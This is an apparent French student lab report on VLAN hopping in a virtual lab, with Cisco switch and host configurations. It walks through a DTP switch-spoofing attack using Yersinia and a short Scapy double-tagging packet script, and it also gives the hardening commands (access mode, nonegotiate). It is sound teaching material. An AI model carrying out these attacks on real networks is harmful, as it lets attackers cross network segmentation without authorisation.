Newer
Older
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
\newpage
# Attaques et protection contre le VLAN Hopping
## Switch spoofing DTP
### DTP : Fonctionnement de base
1. Entrez la commande ci-dessous sur S1 et S2
```
show interface G0/0 switchport
```
2.
- Quel champ indique le mode de fonctionnement (trunk ou access) du port G0/0 ?
- C'est le champ `Operational Mode`
- A quelle valeur est-elle sur les switchs S1 et S2 ?
- ```
Operational Mode: static access
```
- Est-ce que le switch S2 a des interfaces en mode trunk ? Utilisez la commande `sh interface trunk` pour le vérifier.
- Non, le switch S2 n'a aucune interface en mode trunk.
3. Capturez les messages DTP qui circulent entre S1 et S2.

- Quelle est la destination des messages ?
- CDP/VTP/DTP/PAgP/UDLD --- 0**1**:00:0c:cc:cc:cc
- De quel type de communication s’agit-t-il ? (Unicast/Multicast/Broadcast ?)
- Multicast, car le bit de poids faible de l'octet de poids fort de
l'adresse est posé à 1 (démarqué en gras ci-dessus).
4. Sur la même adresse de destination circulent d’autres protocoles que DTP, citez-les et donnez-en une brêve description ?
- Le seul protocole autre protocole que DTP dont le paquets portent la même
adresse de destination est CDP. CDP (_Cisco Discovery Protocol_) est un protocole
permettant la collecte d'informations sur les appareils voisins qui ont une
connexion directe avec le switch en question. Ce protocole permet d'obtenir
des informations non-seulement sur le hardware, mais aussi sur le software
ainsi que le nom que porte l'appareil en question.
- A partir de la capture Wireshark, décrivez comment sont encapsulés ces messages sur Ethernet[^1] ?
- Les paquets CDP sont encapsulés dans le champ "données utiles" de la
partie LLC (_Logical Link Control_) d'une trame Ethernet. Cette sous-couche
fait partie de la couche 2 du modèle OSI (couche liaison) et elle permet
de fiabiliser le protocole MAC par un contrôle d'erreur est un controle
de flux.
[^1]: [Contrôle de la liaison logique](https://fr.wikipedia.org/wiki/Contr%C3%B4le_de_la_liaison_logique)
### Attaque du DTP avec `Yersinia`
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
1. Configurez le VLAN 10 sur S1 et S2, avec G0/1 en mode access et G0/0 en mode trunk.
- Configuration de l'interface `GigabitEthernet 0/0` en mode `trunk` (S1 et S2) :
```
Switch>en
Switch#conf t
Switch(config)#vlan 10
Switch(config-vlan)#exit
Switch(config)#interface GigabitEthernet 0/0
Switch(config-if)#switchport trunk encapsulation dot1q
Switch(config-if)#switchport mode trunk
Switch(config-if)#no shut
Switch(config-if)#end
```
\newpage
- Configuration de l'interface `GigabitEthernet 0/1` en mode `access` (S1 et S2) :
```
Switch>en
Switch#conf t
Switch(config)#interface GigabitEthernet 0/1
Switch(config-if)#switchport access vlan 10
Switch(config-if)#no shut
Switch(config-if)#end
```
2. Configurez l’adresse IP de H1 et H2 à 10.0.0.1/24 et 10.0.0.2/24 respectivement.
- H1 :
```bash
hostnamectl set-hostname H1
ip addr add 10.0.0.1/24 dev eth0
ip link set up dev eth0
```
- H2 :
```bash
hostnamectl set-hostname H2
ip addr add 10.0.0.2/24 dev eth0
ip link set up dev eth0
```
3.
- Configurez l’adresse IP de `kali-linux-1` à 10.0.0.3/24.
```bash
sudo ip addr add 10.0.0.3/24 dev eth0
sudo ip link set up dev eth0
```
- Arrivez-vous à pinger H1 et H2 depuis cette machine ? Pourquoi ?
- On n'arrive pas à pinger H1 et H2 depuis `kali-linux-1` car cette
machine se trouve en dehors du VLAN 10 suite au fait qu'elle est reliée
au switch S1 par l'interface `GigabitEthernet 0/2`.
- Enlevez cette IP de `kali-linux-1` :
```bash
sudo ip addr del 10.0.0.3/24 dev eth0
sudo ip link set down dev eth0
```
4. Quel est la valeur de `Operational Mode` du port G0/2 sur le switch S1 ?
- Afin d'obtenir cette information il faut exécuter la commande suivante :
```
show interface GigabitEthernet 0/2 switchport
```
Sa valeur est : `static access`.
5. Effectuez maintenant une attaque à distance depuis la machine Kali en
exécutant la commande `sudo yersinia -I`. Selectionnez, avec la touche `g`, les
attaques de type `Dynamic trunking Protocol`. Appuyer sur `x`, puis `1` pour
`Enable trunking`.
6. Quel est à présent la valeur de Operational Mode du port G0/2 sur le switch
S1 ? Pourquoi ?
- À présent la valeur du champ `Operational Mode` est `trunk`. Grâce à
l'outil `yersinia`, on a pu forger un paquet DTP qui nous a permis de nous
faire passer pour switch qui désire établir un trunk avec S1. En envoyant
ce paquet sur l'interface GigabitEthernet 0/2 de S1, on a pu la faire basculer
en mode `trunk`.
7. Il est a présent très simple pour la machine Kali de rejoindre le vlan 10.
Rajoutez-y simplement une interface qui tagge tout les paquets avec le numéro
de vlan 10 par la commande suivante :
```bash
ip link add link eth0 name eth0.10 type vlan id 10
```
8.
- Configurez eth0.10 avec l’IP 10.0.0.3/24.
```bash
sudo ip addr add 10.0.0.3/24 dev eth0.10
sudo ip link set up dev eth0.10
```
- Arrivez-vous à pinger 10.0.0.1 et 10.0.0.2 ? Expliquez pourquoi ?
- Oui, à présent nous arrivons à pinger H1 et H2 car nous nous retrouvons
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
1. Sécurisez l’ensemble des ports des switches S1 et S2 de façon à ce qu’aucune
attaque ne puisse avoir lieu sur les ports restant des switchs qui
n’appartiennent pas au VLAN 10.
- `GigabitEthernet 0/2` de S1 :
```
Switch>en
Switch#conf t
Switch(config)#interface GigabitEthernet 0/2
Switch(config-if)#switchport mode access
Switch(config-if)#no shut
Switch(config-if)#end
```
- `GigabitEthernet 0/0` de S1 et S2:
```
Switch>en
Switch#conf t
Switch(config)#interface GigabitEthernet 0/0
Switch(config-if)#switchport trunk encapsulation dot1q
Switch(config-if)#switchport mode trunk
Switch(config-if)#switchport nonegotiate
Switch(config-if)#no shut
Switch(config-if)#end
```
## VLAN Hopping sur le VLAN natif
### Révision VLAN
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
1. Pourquoi existe-t-il un VLAN natif ? Autrement dit, quelle est son utilité ?
- L'utilité d'un VLAN natif est de permettre la compatibilité avec des appareils
réseaux plus anciens qui ne permettent pas la segmentation en VLAN.
2. Configurez S1 et S2, ainsi que l’adresse IP de H1,H2, H3 et H4 pour que les
VLAN 100 et 200 indiqués sur la topologie soient actifs. Vous conservez le VLAN
natif à sa valeur initiale.
- S1 :
```cisco
================ VLAN ================
Switch>en
Switch#conf t
Switch(config)#hostname S1
S1(config)#vlan 100
S1(config-vlan)#exit
S1(config)#vlan 200
S1(config-vlan)#exit
=============== Gi0/0 ================
S1(config)#interface GigabitEthernet 0/0
S1(config-if)#switchport trunk encapsulation dot1q
S1(config-if)#switchport mode trunk
S1(config-if)#no shut
S1(config-if)#exit
=============== Gi0/1 ================
S1(config)#interface GigabitEthernet 0/1
S1(config-if)#switchport access vlan 100
S1(config-if)#no shut
S1(config-if)#exit
=============== Gi0/2 ================
S1(config)#interface GigabitEthernet 0/2
S1(config-if)#switchport access vlan 200
S1(config-if)#no shut
S1(config-if)#exit
```
- S2 :
```cisco
================ VLAN ================
Switch>en
Switch#conf t
Switch(config)#hostname S2
S2(config)#vlan 100
S2(config-vlan)#exit
S2(config)#vlan 200
S2(config-vlan)#exit
=============== Gi0/0 ================
S2(config)#interface GigabitEthernet 0/0
S2(config-if)#switchport trunk encapsulation dot1q
S2(config-if)#switchport mode trunk
S2(config-if)#no shut
S2(config-if)#exit
=============== Gi0/1 ================
S2(config)#interface GigabitEthernet 0/1
S2(config-if)#switchport access vlan 100
S2(config-if)#no shut
S2(config-if)#exit
=============== Gi0/2 ================
S2(config)#interface GigabitEthernet 0/2
S2(config-if)#switchport access vlan 200
S2(config-if)#no shut
S2(config-if)#exit
```
- H1 :
```bash
ip addr add 10.0.0.1/24 dev eth0
ip link set up dev eth0
```
- H2 :
```bash
ip addr add 10.0.0.2/24 dev eth0
ip link set up dev eth0
```
- H3 :
```bash
ip addr add 10.1.0.3/24 dev eth0
ip link set up dev eth0
```
- H4 :
```bash
ip addr add 10.1.0.4/24 dev eth0
ip link set up dev eth0
```
3. Montrez, par des captures d’écrans, que les VLAN 100 et 200 sont
effectivement isolés en assignant temporairement une IP du subnet du VLAN 100 à
la machine `kali-linux-1` et en essayant de pinger sans succès H1 et H2.
- `kali-linux-1` :
```bash
sudo ip addr add 10.0.0.3/24 dev eth0
```
{width=80%}
{width=80%}
\newpage
- Démontrez, aussi avec une capture d’écran, le cas inverse en déplaçant
temporairement `kali-linux-1` dans le vlan 100 est en relançant le ping, cette
fois-ci avec succès.
- S1 :
```
=============== Gi0/3 ================
S1(config)#interface GigabitEthernet 0/3
S1(config-if)#switchport access vlan 100
S1(config-if)#no shut
S1(config-if)#exit
```

327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
Ci-dessous se trouve le script grâce auquel nous pourrons effectuer une par
_double-tagging_.
```python
from scapy.all import *
sendp(Ether(dst='ff:ff:ff:ff:ff:ff', src='00:01:02:03:04:05')/ \
Dot1Q(vlan=1)/Dot1Q(vlan=100)/ \
IP(dst='10.0.0.1', src='10.0.0.3')/ICMP(),iface="eth0")
```
Premièrement il faut enlever l'interface `GigabitEthernet 0/3` de S1 du VLAN 100 :
```
=============== Gi0/3 ================
S1(config)#interface GigabitEthernet 0/3
S1(config-if)#no switchport access vlan 100
S1(config-if)#no shut
S1(config-if)#exit
```
Puis il est nécessaire de retirer l'adresse IP attribué à `kali-linux-1` sur
l'interface `eth0` :
```bash
sudo ip addr del 10.0.0.3/24 dev eth0
```
### Double tagging `iproute2`
### Sécurisation des switches